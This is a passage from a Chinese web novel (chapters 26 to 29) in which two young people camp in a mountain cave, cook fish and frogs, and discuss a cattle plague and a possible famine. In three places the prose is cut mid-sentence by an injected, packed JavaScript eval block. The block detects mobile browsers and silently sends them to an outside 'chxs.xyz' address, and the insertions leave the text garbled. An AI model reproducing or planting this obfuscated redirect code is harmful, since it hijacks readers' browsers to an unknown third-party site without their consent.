见大黑马转动着湿漉漉的大黑眼，乔小遇眉间不禁浮起了一抹笑意。 夜色已近，漫山野林仿佛浸润在一层清淡的浮光之中。 恣意四奔的蠢马，在林中窜来窜去，惊起飞鸟，搅乱松毛，偏这厮还是个“不懂风情”的，吃草便也罢了，连储了甜汁的酒瓶花也逃不过它的大板牙…… 26. 何以为报 乔小遇但看着黑风伸长了脖颈往花丛上凑，倒不论身处枝桠丛中难以转悠回过，呵笑道：“想来也不仅有牛嚼牡丹的说法，马也贪吃酒瓶花。” “早说它是头蠢马了。”陆桓含笑的目光自黑风身上收回，话音假意轻嗤。他拖着疲惫的身躯走进山洞，但见石台上摆着的那些鱼兔之肉，眼神微亮，问道：“这些便是你这两日在野山林里捉的？” “是啊……”乔小遇微扬起脸，话音里是毫不掩饰的得意之色。 “那太好了，今晚咱们就烤兔子吃！” 见陆桓欣喜异常地将手朝石台当中最为肥硕的那只兔子伸去，乔小遇连忙出声相阻。 陆桓皱了皱眉，不解地道：“怎么了？” 乔小遇微愣，想着总不好得说是自己舍不得，当下讪笑了笑，晶莹的目光转向陆桓的双手，说道：“你的手似乎还没有洗过。” 她言辞简练，装得一本正经，终教陆桓将手伸了回来。只陆桓面色依旧是云淡风轻，并无半点“我的泥手确实不适合去拿东西”的意识。 “想来她家里的日子确是十分难捱。”陆桓淡淡地摇了摇头，莫名想及自己家里的情形，心下暗叹：“若没了舅舅家的扶持，我与母亲会落至何种地步呢？” 许不至于到乔小遇这般需为了生计发愁的境地，可所陷周遭乃是由人情勾织起来的荆棘网，终好不到哪里去。 陆桓稍稍弓身，将手中的弓箭放靠向石台，似随口一说：“今晚早些歇息，明儿清晨你且等我一等，我猎一头野猪与你带回家去。” 乔小遇闻言不由得张了张嘴，直觉着自己紧抑的心口忽得了几分松泛的喜悦感，道：“你说真的？便当是救命之恩？” 听得“救命之恩”四字，陆桓却是皱眉鄙语：“一头野猪，怎能与我的命相提并论？” 乔小遇没忍住扶额，觉着眼前这人实有几分自命不凡…… “野猪只是为了换烤兔吃的。”陆桓轻笑了笑，旋才回头静静地看向乔小遇。 他的眼似月光一般温和平静，同时又存了一种清清淡淡的疏离感。 乔小遇清楚这种疏离感的来源是什么——盛家庄是什么地方？陆桓的父亲既能迎盛氏进门，想来门户昌隆，自不是她能触及的。 不过现下她心里并未因这当中的差距而生出什么多余的情绪，只是觉得欣喜。至于日后，深知自身所立之地的乔小遇亦不曾因这种差距感而生过退怯之心——当然，这是后话。 陆桓主动提说猎头野猪与她，足令乔小遇忽略过麕肉的事，不然她直怀疑自己会与妹妹一般，心头尽嘀咕着些刻薄而无奈的话。 至于那所谓的野猪不能与他的命相提并论的言论，乔小遇只当是陆桓的笑语罢了，并不曾想过“野猪既抵的晚饭，那救命之恩又当何以为报”这样一个问题。 “野兔相对值些钱，不如我换了煮鱼？”乔小遇眯笑了笑，但看着陆桓倏然僵滞下去的神情，生怕他拒绝，连忙出言补充道：“你若想吃烤的，我还捉了些石蚌……” 陆桓没想乔小遇竟计较到了这种份上，脸色一阵默然。 “随你。”陆桓从牙缝里生冷地蹦出两个字，接着又问道：“山下有水么？” “有条小溪。”乔小遇扬了扬自己手中的小罐，话音里多了几分讨好之意，对陆桓笑道：“我要去山下盛水煮鱼，你可要一起？” “嗯。”陆桓淡淡地点了点头。 乔小遇垂眸低笑，知道自己方才说及陆桓手泥的话，终是被他听进心里了。 …… 陆桓不远不近地跟在乔小遇身后，且听了乔小遇对他出言叮嘱些类似于路上松毛太多，最好扶了道旁的松树缓行的话后，眉间轻蹙了蹙，出声打断道：“你且走你的。” “呵……”乔小遇倒呵了口气，不再多言。 她继续朝前走了几步，倏而听到身后传来一道“噗通”声响，眸中笑意终掩饰不住，道：“你且还嫌人唠叨？” 陆桓口中轻嘶着气，闻言亦不由得笑话起自己，道：“算来，今日已摔了两回狗啃泥了……我也当真是个蠢人！” 话音轻落，陆桓的神思不由飘向别处……等乔小遇上前来搀将他，他似才反应过来的一般，几不可见地摇了摇头。这一日间，他似已骂过自己许多次“蠢人”，乃至于自嘲成惯，不经意间便脱口而出。 “你坐着发什么怔呢？”乔小遇笑意清浅，待她视及陆桓面上的那抹惆怅之色后，话音紧凝道：“你怎么了？莫不是之前掉土坑里时伤着了？” “不是，走吧。”陆桓低声摇头，紧抑了情绪道。 见他转而走在自己前面，乔小遇终不过抿了抿唇，不曾多问。然她心里却忍不住多想：“若进山射麕仅是为了取那麕皮帮母亲补靴，陆桓的情绪并不至于这般——介怀什么，压抑什么。” 但见陆桓终依了她的话，行路时仔细扶了青松，乔小遇的眉眼不禁笑弯了弯，仿佛被云层遮过半边的月盘般，泛着清亮的辉芒。 …… 流声缓缓，使得这片空静的山多了几分绵延之感。 陆桓蹲在石板岸上，掬水洗面，待因晒了一日太阳而渗出的那些类似于盐的硌手物被清洗了些去后，心下才多了几分舒适感。 然他神情愉悦地往溪中再去捧水时，一块像极了黑石头偏又带了一种滑腻感的东西竟被水流给冲进了他掌心里……陆桓愣了愣眼，随之发现手里的水竟渐渐染上一层血色，而血色的来源则是一处断裂的伤口！ “啊！”陆桓惊叫着把手里的石蚌脑袋丢开，一时间神色无措，直与白间掉落坑洞时，提心防着野物觅食而至的情形差不多了。 “你怎么了？”乔小遇抬头朝问他道。 陆桓暂抑不下唇齿间的轻颤，只得紧抿了唇，不作回应。此时的他直觉着后背发麻， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924355|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌心的那股滑腻感似已传遍了半条胳膊…… 陆桓想要俯身洗净，只视线朝斜侧方的乔小遇看去后，心下却又不想洗了。 但见乔小遇手起刀落，一只只青黑的石蚌便是挣扎无用，终是一个少了头、多道切口的结局后，陆桓不禁有些发怵，颤声呵笑道：“没想石蚌竟是这样宰的，你这刀使得也太有……太有节奏了。” “啊？你既仗着一把弓箭就敢来野山林中打猎，怎还会怕石蚌？”乔小遇顿住手中动作，惊讶出声，而一双似清溪般明净的眸子则笑意盈盈地看向陆桓。 陆桓语塞片刻，才试着平缓了下自己的呼吸，凝声辩解道：“这不一样……我虽吃过石蚌，却没见过是怎么个宰法。” 轻“哦”了声，乔小遇重新低了头去，只忍不住“噗嗤”一笑。 “这有什么好笑的。”陆桓脸色一沉，而额发滴水下来，仿佛带了丝冷气。他指了指乔小遇，寻思着问道：“难道你就没有怕的东西？比如蛇、八角虫、耗子？” 乔小遇故作正色地摇了摇头，道：“有是有的，只你说的这些东西我都不怕。” “为了泡药酒，我与妹妹打过蛇。八角虫？割猪草时随便往玉米地一钻，哪次出来不是被这东西咬几口的？至于耗子，夜里我家楼板上四处都有跑的……” “有时你夜里起来想倒口凉水喝，没准耗子就从你脚背上爬过。”乔小遇话音轻快，可陆桓听得她此般形容，神色却是愈发地青了。 乔小遇强忍着笑，一边倒似故意的，径直拿过一只砍了头的石蚌剥起皮来！ 见石蚌抽动着四肢，陆桓直怀疑这无头石蚌也是能感受到剥皮的痛苦的…… 凉风袭来，陆桓的手臂上复又泛起了一层鸡皮疙瘩。他轻吸了口气，身体不由自主地朝后靠去——然身后尽是荆棘丛，陆桓被刺扎得一疼，脚板又是下意识一跳！ “可至于么？”乔小遇抬眼瞧得陆桓慌慌张张地往上游跑的情形，特意将一只已剥了青黑之皮的石蚌朝他扬了扬。 陆桓咽了口唾沫，尴尬地偏侧过头去，一边朝乔小遇摆了摆手，道：“别让我再瞧见了！” 乔小遇闻言，口中笑声不再遮掩，而陆桓却不再应话了，只冷着脸继续掬水洗面。 “在上游才算是不必提心了，至少不会猝不及防地冲流下丑石蚌的脑袋与内脏来。”陆桓心下如此作想，紧绷的神色终得了几分松缓。 清溪表面反射出碎珠般的光芒，将陆桓的侧脸线条映得分明。听得溪声哗啦，陆桓似觉着有这么一段停驻了的时光，原在他心头紧驻的复杂情绪竟被溪流冲走了…… 他稍稍侧过头来，见乔小遇俯了身正专注地清洗着石蚌，终不再似最初那般惊惧。 “宰好的石蚌尽是粉肉，如何能联想到之前它那丑陋的模样以及乔小遇粗|暴的处理方式？”陆桓轻蹙了蹙眉，眼尾处渐泛起一抹淡淡的笑意。 27. 人模狗样 “她的日子应当过得十分艰难，只其中艰难成了惯常，即便过程中她是咬了牙经受的，却也不觉得有什么稀奇。”陆桓微沉的目光落在乔小遇身上，并未出声打断她手中专注的的动作。 直到见乔小遇已经处理完毕，蹲在浅水石上的陆桓才站起身来。 “嗯？” 乔小遇先见着陆桓倒映在水中的那道身影，蓦然抬眼，却见陆桓已走至她身前，俯身拿起小罐来。 陆桓轻笑着应道：“我盛点水。” “喔。” 乔小遇怔怔点头，只这一个“喔”字也是陆桓已接满了半罐水时吐出…… “这还是之前那张满是泥污与血迹的脸？”乔小遇轻轻咂舌，但见水滴从陆桓的额头上滑落，渐在麦色皮肤留下一道弯折的水痕，她的呼吸不由得微屏，腹谤了句“人模狗样”。 陆桓将小罐端在身前，见乔小遇神色微怔，轻声问道：“你可好了？” 乔小遇脸上浮起一丝尴尬，好在她很快便掩饰了过去，转而道：“你不必盛得这么满，上山的路上会洒掉些的。” 陆桓垂目一看，果真依言将水倒了些。 “呵呵……”乔小遇埋下一阵发热的脸，忙将石蚌尽数拾进篓子里，而余光瞥过陆桓，见他依旧站定了身等自己，乔小遇只觉着耳中亦跟着有股热气朝外冒出。 她紧忙加快了手上的动作，拾好便径直折身，往身后的小山林里钻进去。 “这样才教人觉着心安些，也不会冷不防地人回头来问你句什么，尽将你面上的窘迫一看而尽。”乔小遇朝前走在高高低低的山路上，心下暗道。 至于后头的陆桓——但见乔小遇一边脚程加快，似有什么赶着她一般，一边又喘着粗气，只不解地皱了皱眉，而怀中那只小罐，却是看护得愈加小心了。 …… 瞧着山洞口就在眼前，乔小遇的脚步方才缓了缓。她回头一看，见陆桓只距自己两三步，面上那抹舒淡的微笑复又僵滞了几分，暗道：“不过多看了两眼，我怎会凭空多出了分负|罪感？” 乔小遇轻咳了声，将心湖里的那抹悸动强抑下去后，方问陆桓道：“你可还提得起力气？” “怎么？”陆桓将小罐轻放在地上，唇角含笑道。 乔小遇眯眼道：“我是想让你去捡一些干树枝来，后半夜还要烧许多哩。” “没力气了……” 显而易见的是，陆桓的脸色倏然转为凝滞，稍稍拖长的话音竟带了一种“理所当然”的意味。 “我当是什么事？没想还当真支使我做事呢。”陆桓心下暗道。 他斜瞥了眼乔小遇，而后极其自然地放松了肩膀，勾头负手，步伐微沉地朝山洞内走去——却是去休息了。 乔小遇的面色有些无奈，只念及人今日在坑洞底下遭了不少的罪，便也随陆桓去了，自己则忙活起来，烧火煮鱼。 随着酸汤鱼的味道渐渐弥散，陆桓也跟着清醒过来。 “可煮好了？”紧步跑到火边的陆桓，见乔小遇用勺子慢悠悠地打着沫，又问道：“你煮了几条？” “罐子就这么大，能煮几条？”乔小遇摊了摊手，见陆桓皱眉凝色，笑着补充道：“你且放心，我煮的是最大的一条。若你觉着不够吃，我还宰了好几只石蚌的。” 陆桓闻言神色稍缓，接着在火堆边坐下来，轻声道：“可算不那么抠门了。” “这些东西，我是打算带到镇上去换些钱的，所以每顿都细细算着。也是看在你帮我猎野猪的份上，我才煮了最大的那条鱼，你可别不知足了。”乔小遇往小罐里放了稍许盐后，偏头与陆桓说道。 陆桓听得乔小遇的打算，话音轻凝道：“鱼跟石蚌的市价应还算好，可是野猪这些……近来牛疫爆发，朝州府中的一些山林中，亦有鹿豹虎猪等兽染上此疫，许多人甚至已不敢吃这些东西了。便是你所卖的兽肉不曾有问题，人也多会拿了牛疫作借口，使劲儿给你压价。” “那怎么办？总要拿这些东西换点米粮才行。”乔小遇已预想过个中情形，心下清楚人们的恐慌最初确是只针对牛疫的，再之后才是发生饥荒的可能性。 这便是尴尬之处。若家中多的是米粮钱物，饥荒爆发也不会如何，守好财物便是——遑论那些个猪牛之肉，不吃几月新鲜的，也顶多是口腹之欲暂不能得以满足。这样的人家，风浪过后，依旧过得太平日子。 可依乔小遇家里的情形，牛疫方至，便意味着太平日子的结束。 “若去那些还不曾有牛疫发生的州县上卖，路程终归太远，肉物放久了，价钱一样不好。”乔小遇心下微沉，说话间折了几根木枝，随意地扔在火堆上…… 火舌愈烈了几分，尽将女孩儿挟掩了苦色的脸照得明晰起来。 陆桓侧头看了看她，视线重新回转到身前的火堆上，默然片刻后，方沉吟道：“我倒是有个法子……” “什么法子？” “待回家后，你便将这些野物背了去盛家庄卖，且最好赶在后日午时前。” 陆桓见乔小遇听得一头雾水，跟着蹙眉解释道：“盛家独女今日出适，为贺此亲，庄内连办三日的流水席，附近的许多庄户人家都去凑热闹。” 陆桓尽想装出一副平静无波的模样，只他这般轻缓的话音落至乔小遇耳中，直似冬日屋檐凹角下挂着的冰凌一般，一触就碎。 乔小遇心下轻嘘，一边拿过事先削好的长棍穿着石蚌肉，一边问道：“可是这样的人家办喜事，一应东西定然是早就准备齐全了的。” 道是句无心之语，陆桓闻言，手中拿了长枝挑柴的动作却不由得顿了下来。 他紧|握长枝，骨节因此泛白，可旋又松了下去…… 默然片刻，陆桓才淡声启口：“这样的大喜日子，盛家庄的管事是不会赶人走的。即便他们不需要你那两篮子的肉，可只要你说两句吉祥话… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924356|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “且再瞧你脸色病白，衣裳处处都是补丁的模样，一看就穷苦人家出身”，陆桓轻抬眼皮，看了乔小遇两眼，接着道：“盛家人也会心生怜悯，又或是为了维护他们的善心仁德的名声，将你送去的野物尽都收下。” 陆桓莫名轻笑了声，似含了嗤意，但乔小遇清楚这并非针对的她，心里并没有生气，反而渐生出了几分喜意。 只她不好将这喜意表现得太过明显。 “但这法子你也只能使上一回。”陆桓定定看向乔小遇，微沉了声道：“当着众位亲友故旧以及庄内佃户的面，盛家的人乐得做表面功夫，只再之后却不一定了。” 乔小遇若有所思地颔了颔首，映了跃跃火光的眸子终抑不住当中促狭笑意，“你也算得盛家亲眷，怎么就没去凑热闹喝喜酒？” “我去做什么？不过自找没趣罢了。”陆桓哼笑了声，径直将手中凑火的树枝丢进火中…… 火星被溅起些来，只或是在下一息间，便成了淡黑色的灰烬飘落在地，又或是如荧光般闪烁着飘飞上升，最终融入那无边的夜色当中。 陆桓怔忡片刻，旋即一边拿起勺子轻搅了搅小罐里的鱼汤，一边轻声道：“我这般在背后议论人终归不好，只当中是个什么情形，待你去过盛家庄便也清楚了。” 听着陆桓那般不以为意的语气，乔小遇眸底的笑意渐地凝固下来。她瘪了瘪嘴，才道：“其实这些野物，我原本也就只打算暂卖一回的，救个紧急而已。” 迎上陆桓那双仿佛晕染过一层清辉的眸子，乔小遇轻扬了扬下巴，问道：“味道怎么样？” 陆桓愣愣垂目，清隽的面庞上浮起一抹深沉的笑意，点头道：“很好喝……” “可能吃了？”陆桓抬头问她。 乔小遇笑眼看向陆桓，给他递过一双由酒瓶花枝削成的长筷，“你先吃着，我烤石蚌。” 陆桓嘴角微翘，伸手接过。他腹中早已空无一物，饿得发紧，手中这木筷也过长了些，教他有些使不惯，可这完全不影响他吃东西的仪态。 不急不响，端是一副从容不迫的模样。 乔小遇轻咂了咂舌，想起家中饭桌上惯见的“风卷残云”，心下有些哭笑不得。 她寻了粗木枝做成架子，一边将石蚌肉担在上头烤着，一边转回话题道：“肉物之价贱|低，终究只是暂时的。若到了官府下了严令，督命各家各户不得私下贩卖猪牛等畜的那一天，其实未染病的家畜便已很少了。而在那之前，家畜染疫，尽被拖至深山掩埋；在那之后，肉物不论新鲜与否，其价都会高涨。” 乔小遇顾自寻过一双木筷，往小罐中轻拈了一块鱼肉细细剔着，对陆桓说道：“所以我会依你之言，仅在盛家庄恰逢喜事时走这一遭。至于后头进野山林里寻得的东西，却要等到牛疫过去后才卖。” “没想你竟能顾虑到许久后的境况……”陆桓诧异地看了一眼乔小遇，轻笑着道。 28. 萍水相逢 乔小遇将鱼肉咀嚼下腹，眸底划过一抹不易察觉的苦色，接过话头道：“已入穷巷，若已瞧见尽头的土壁，怎还能蠢得朝上头撞，却不看看身侧有没有岔道可走？” 陆桓主动翻了翻正架在火堆上烤着的石蚌，想及乔小遇先前与他说过的家中情形，若有所思地道：“你家里没人出面顶事，终究是个问题。” “我不是说你不能出面顶事，而是有的事你根本顶不住。你不曾亲眼见过饥荒，所以你可能还未意识到它的可怕之处。”陆桓眼瞧着乔小遇错愕地看向自己，又解释了这么一句。 乔小遇口中的鱼肉终是咽不下去了——尽管她还下意识地嚼着，可不知为何，乔小遇觉着自己的喉咙便仿佛被鱼刺卡住了一般。 她泛疼得说不出话来，便只静静地听陆桓讲。 陆桓轻叹道：“你且想象一下，即便每日你家中闭门锁院，却总有路过的乞民扣门的情形。你心惧噤声，人便从院墙上翻进来，破开你家的门，四处寻吃的，将你家中翻得一团乱。届时家中老小抱团泣声，却免不了被结群的乞民胁迫——而这，还仅算得轻的。” 乔小遇闻言轻皱了皱眉，话音嗫嚅地道：“乔家村地处偏僻……” “那也不见得安乐。”陆桓摆了摆手，道：“方才还夸你所虑深远，怎现下却是心存侥幸了？别说乔家村地处偏远了，你便是在家里挖个地窖躲起来也没用。情急之时，关切性命之事，知情人难道不会将你家供出去？” 陆桓见乔小遇默不作声，心湖里似沉了块重石进去。 听得柴裂声阵阵，陆桓才回过几分神来，倒不知他为何会与乔小遇说这许多……而凝想片刻的陆桓，只当自己动了恻隐之心。至于救命之恩？似乎还够不上其中份量。 “你再发愣，石蚌肉便要糊了。” 瞧着乔小遇松怔了面色，陆桓朝火上烤着的石蚌肉的方向抬了抬下巴，示意乔小遇去翻动，自己则舀了勺|奶|白色的鱼汤，慢饮下腹。 蚌肉表皮渐变金黄，乔小遇洒了些盐后，将其转了个半圈继续烤。 陆桓见乔小遇面色依旧凝着，伸向小罐的长筷又收了回来，道：“倘若情形当真到了那样的地步，想要化解无非‘进退’两字。” 他轻放下了手里的勺子，余光瞥得乔小遇看向自己，接着沉吟道：“进一步，可联合了家中叔伯守护门庭；退一步，弃了屋舍田地，或是隐入山林，或是遁走他乡，只求保全性命即可。” “只怕这两条路都行不通。”乔小遇苦笑了笑，鼻腔里轻叹出一口气来。 “几个叔伯与我家里的关系并不算如何融洽，而我爹娘……”乔小遇语气稍顿，道：“且不提家中那几亩薄田被他们视为命根子，轻易不会舍弃，更为重要的是，他们已生不出那样的勇气离乡避祸。” 隐入山林能如何？日日以山中野物为食，与现今家中耕地的境况并没有实质区别，乔冉安没有多大本事，一家人总是靠天吃饭的。 避乡远走？ 乔小知为何会被送与人领养？乔小遇心里再清楚不过。 她爹娘妥协惯了，即便有时为外界所迫，免不了要争上一争，可一口气还没争个完全，便先软了骨头、怂了胆子。 道是软一回两回也还好，只乔小遇但想起之前爹娘为着乔小知的事而抱头痛哭的情形，便知无论如何，她爹娘也不会“退”这一步的。 她摇了摇头，心绪复折回头，清澈的眼中仿佛看到了一缕从罅隙里|射|出的光亮般，轻蹙的眉得以稍稍舒展。 “你可是另寻到什么法子了？”陆桓定定地看向乔小遇，唇角泛笑道。 “呵……”乔小遇叹笑出声，视线停落在跟前的火堆上，团住膝盖道：“倒可搬去村邻家中住，人聚着许能抵上一阵，只终究是要欠人情了。” “欠人情确是件令人纠结的事，只你心下能掂量清楚其中份量，来日尽己之能，尽力相帮就好。”陆桓微笑了笑，不再多问，而乔小遇亦未再多言。 两人算来都有些后知后觉，一个多说了家里事，一个则多管了人家里事——到底萍水相逢，话至此处如何也当停了。 只这时的乔小遇尚有一点不曾意识到，多说的人是她，陆桓因此知悉她的身世处境，可她对陆桓却知之甚少。 她满心思所想的，终是落在了“进”之一字上。 亲辈无法倚仗，思量半晌，整个乔家村竟也只有子弟甚多的乔长田一家能靠得住些…… 然这般一来，所谓的欠人情实与“指望”相近，这是乔小遇所不愿看到的，且对于乔宝树他娘的态度，她心里不是已经很清楚了么？ “不单是欠人情本身教人纠结，寻思着是否要指望别人的过程亦是令人头疼。”乔小遇心里暗叹了口气。 陆桓拾起乔小遇放在干净草叶上的长筷，笑着递给她道：“你且快吃吧，这小罐里的鱼肉都要被我吃光了。 “呵……你可真不客气。”乔小遇凑过脸去，且瞧着已经浅下大半汤肉的小罐，惊讶轻啧道。 陆桓挑了挑眉，笑眼未辩，只一边主动翻了翻石蚌肉，一边问道：“烤石蚌可能吃了？” “另一面还需再撒些盐。”乔小遇下意识应声，瞥眼瞧得陆桓笨手笨脚地去撒盐，而清隽的面上掩蕴了抹急切神色的模样，忍不住促狭笑道：“这会儿你却是不怕石蚌了？” 陆桓闻声仅局促了一瞬，紧接着面上笑意却是扩大了几分，话音懒洋洋地道：“石蚌是石蚌，烤石蚌又是烤石蚌，二者区别相当之大。” 乔小遇轻喃着重复过“区别”这个词，不禁摇头失笑。 她斜瞥了陆桓一眼，旋低了头去，不紧不慢地舀鱼汤喝，一边心下暗道：“你既这般等不及，我就偏不出声提醒你。” 陆桓几次投眼看来，都只瞧得乔小遇慢悠悠地吃着鱼，动作却是比他还要斯文从容几分的情形时，不禁皱了皱眉，“这石蚌可能吃了？” 听得陆桓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924357|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这般问，心下已憋忍半晌的乔小遇竟差些被汤水给呛着。她紧忙将头偏侧过去，因含着的鱼汤一时吞咽不得，她的腮帮子鼓胀得紧，便似在松林间上下蹿跳的胖松鼠的脸般。 陆桓方知乔小遇的用意，而面上却也不恼，反透出一抹无奈的笑意。 待乔小遇得呼过口气来，陆桓才轻笑出声，伸手拿过一串烤得黄生生的石蚌肉朝乔小遇扬了扬。 “我先吃了……你也不必着急忙慌地喝鱼汤，这都被呛着了不是？”陆桓但见乔小遇面颊泛红，而琥珀色的眸中尽中浸润了层迷蒙雾气的模样，接着道：“左右小罐里的鱼肉我是打算留给你的。” “呵……那可多谢你了。”乔小遇一边抚顺着气，一边怒瞪了陆桓一眼。 然这怒瞪的眼神在陆桓看来，实在没什么“威力”可言，反似他之前射|杀的那头山麕一般，透着一股纯澈的意味——这意味不必细究，且莫名地教人觉得心平。 陆桓得意地往木枝末端的一块石蚌肉咬去，只紧接着口中却忍不住轻“嘶”出声……他连忙蚌肉串拿远了些。 见他被烫，乔小遇不由得“噗嗤”一笑，故意问道：“好吃么？” 陆桓扯了扯唇角，脸色渐沉，却硬是对乔小遇挤出了一丝笑容，道：“还行……” “那你便多吃些，左右有三串石蚌肉，你只消留给我一串便好。”乔小遇笑盈盈地道。 陆桓闻言，只得抑了口中的气呼声，对乔小遇颔首一笑，“真是多谢你了。” “不客气。”乔小遇娇俏一笑，对石蚌肉吹了吹才下口，又问道：“你在家中是从来不管庖厨之事的？竟连石蚌肉是否算得烤熟都不知道……” 陆桓闻言微怔，眉色低凝下来。似乎确是如此…… 他家中之事向来由娘亲操持，而他即便已过不成那般由锦玉堆砌起来的日子，却也从不必似乔小遇一般为了生计发愁。 而与此同时，他陆桓虽不至于四体不勤、五谷不分，但对许多日常之事却不甚了解。 细细咀嚼着石蚌肉，陆桓唇齿间不由自主地渗出些津|液来，只这被刺激而涨的食欲却没有将他的心绪尽数裹挟而进…… 眸光微动间，陆桓但瞧了眼乔小遇细口轻啜着勺内鱼汤的模样，却是自嘲一笑，那些原想出声应语的话则吞回了腹中。 未多一会儿，两人便将蚌肉吃了个完全。 乔小遇用枯木枝将鱼刺拢至火堆里烧尽，见柴火已然不多，便道自己要去捡些干柴晚间用。 陆桓懒懒地点了点头，乔小遇心想这人也不是个惯会做杂事的，便也不曾唤陆桓一起去，只叮嘱他看着些东西。 黑风还在山下疯，陆桓靠着洞壁眯了一会儿眼，却始终静不下心来。 他踱步走到光亮微熄的火堆旁，想起乔小遇离开时说的话，不耐地丢了几根粗木柴在上面……至于后续这火究竟有没有烧起来，陆桓却是管不得了，或者说，他便不曾考虑过这个问题。 29. 一见倾心 “怎么去了这么久还没有回来？”陆桓朝洞口的方向看了一眼，有些烦躁地说道。 他摇了摇头，视线不经意地落至火边那个还带了余温的小罐上，随即轻挑了挑眉，却是端了小罐下山去了。 林间偶响起几道窸窣声响，陆桓知道是乔小遇在那处，只他不曾出声打招呼，反是放轻了脚步朝山下走去。 …… 这厢乔小遇因捡的木柴足有好几捆的量，且林间枝桠横生，实在绊身得紧，便打算分几个来回将柴火搬回去。 至山洞后，乔小遇不曾得见陆桓身影，而那堆厚沉的木灰上，不过敷衍地放了几根粗木柴在上头……她寻了点干松毛来，可无论如何，她也是没有那般教死灰得以复燃的本事了。 “这厮约莫着是去山下牵马了吧。” 乔小遇因紧吸大口烟气而咳声不停，一时有些哭笑不得，只索性爬起身来，再不去做用嘴吹气，以为可以将火重燃起来的无用功了。 她又折回树林里搬柴，可等陆桓口中的蠢马都已回来，陆桓却依旧不见踪影…… 她站在洞口喊了几声不见回应，便寻到一处视野开阔的地带去唤人——只待瞧见山脚下的情形后，乔小遇心下竟不知该如何庆幸自己没有出声。 否则空山回音，惊了溪中的那条成了精怪的鱼可怎么好？ 因隔得远，她不过能依稀瞧见陆桓的轮廓，至于旁的乔小遇并不觉得有何可看。 即便那一眼分明已令她面颊微烫。 即便吹过好一会儿夜风后，这股温热并未有消退之势。 她终不过轻摇了摇头，便又回了山洞。 …… 陆桓回来时，见火堆旁放着两节被烧黑了一头的粗木柴，记着是自己先前所放，却不知怎地又被乔小遇给撤了下来。 他心存疑问，开口却并不先提此事，只随意地道：“我去山下盛了些水来，夜里也能有得喝。” 乔小遇强忍着不去回忆某些画面，只顺着他的托词轻“嗯”了声，道：“可是上山的路太滑，折返了几次才将水端到这里？这火都被你放熄了。” 乔小遇佯装生气，实上却是无奈。她耳廓略热，心下颇觉着尴尬，亦生怕陆桓觉察到她的不自在——只不成想，陆桓见她抬头，嘴角轻扬起的那抹笑意，却是等她话音落下后才完全溢开来。 “哈哈……”陆桓笑得开怀，颤手将小罐放在地上——幸是他不曾将水盛得过满，否则此番定是要被他洒出来的。 陆桓笑道：“确是我的不是，才教你沾了这满脸的……” “满脸的什么？”乔小遇不解地抬了抬眼，但见陆桓指着自己笑得前仰后合的模样，心下也渐渐反应过来个中情况。 她试着用手轻拭过面——且瞧瞧手上那黑乎乎的炭灰，她的小脸不由得皱巴起来。 这兴许才是令人最尴尬的…… 乔小遇轻瘪了瘪嘴，见陆桓依旧一副乐不可支的模样，轻眯了眼笑道：“你是没瞧见自己掉坑洞底下的样子……” “除了眼白这点能教人猜得着你是个活人，身上余处的脏泥血污……”乔小遇上下打量了眼陆桓，话头却是一转，道：“身上余处的脏泥血污确像是个野人。” 话音落毕，乔小遇但瞧着陆桓面上神色渐绷，偏仿了小兽的模样对陆桓嗷呜低喊，意在取笑他。 陆桓一言不发，静静地看了乔小遇片刻，才郑重地道：“我当时的样子或许像是个野人，但绝不是一个脑子有问题、面目歪斜、手脚抽筋的野人。” 如此，面色渐凝的人转成了乔小遇…… 陆桓的眉眼深处尽是一抹得意之色，如潭中映月，不论将潭水搅几个来回，那月轮的影却怎么也隐散不去。 乔小遇这满脸的黑灰亦同样顶了一夜。 因累了一天，乔小遇渐觉得之前砸兔子头的胳膊在歇下来后更是酸胀得厉害，便也躲了个懒，不曾下山去洗脸。她与陆桓约定守夜，可一夜到亮，睡得死|沉的只有她一个。 陆桓倒想眯一会儿眠，只他一瞥了眼乔小遇那张黑乎乎的脸，竟是熬到了近天明时才盹着。 这是他们的初遇。 虽没有“女为悦己者容”，也谈不上一见倾心，但若是时光流溯，乔小遇定会下山去洗脸的——只因成婚后的陆桓告诉自己，那夜她的脸看上去才真真像个野人！ 乔小遇羞窘不已，而陆桓口上虽如此说，心里却从不曾把“像野人”这样的形容给当了真…… 他无意识间把这件事记得这般真切，也不仅因为乔小遇那张花猫般的脸，还因为夜中他几次试图唤醒乔小遇换他守夜，可疲累至极的乔小遇却怎么也叫不醒…… 天光渐亮，数颗附在草叶上的晶莹露珠折射出点点光亮，在行路人的衣裳上迅速划过。 陆桓轻轻扒开灌木丛叶，瞅准了一只落单的野猪，嘴角微翘了翘，随即将乔小遇先前递给他的一个烧熟的土豆掰开来，从灌木隙里丢了出去。 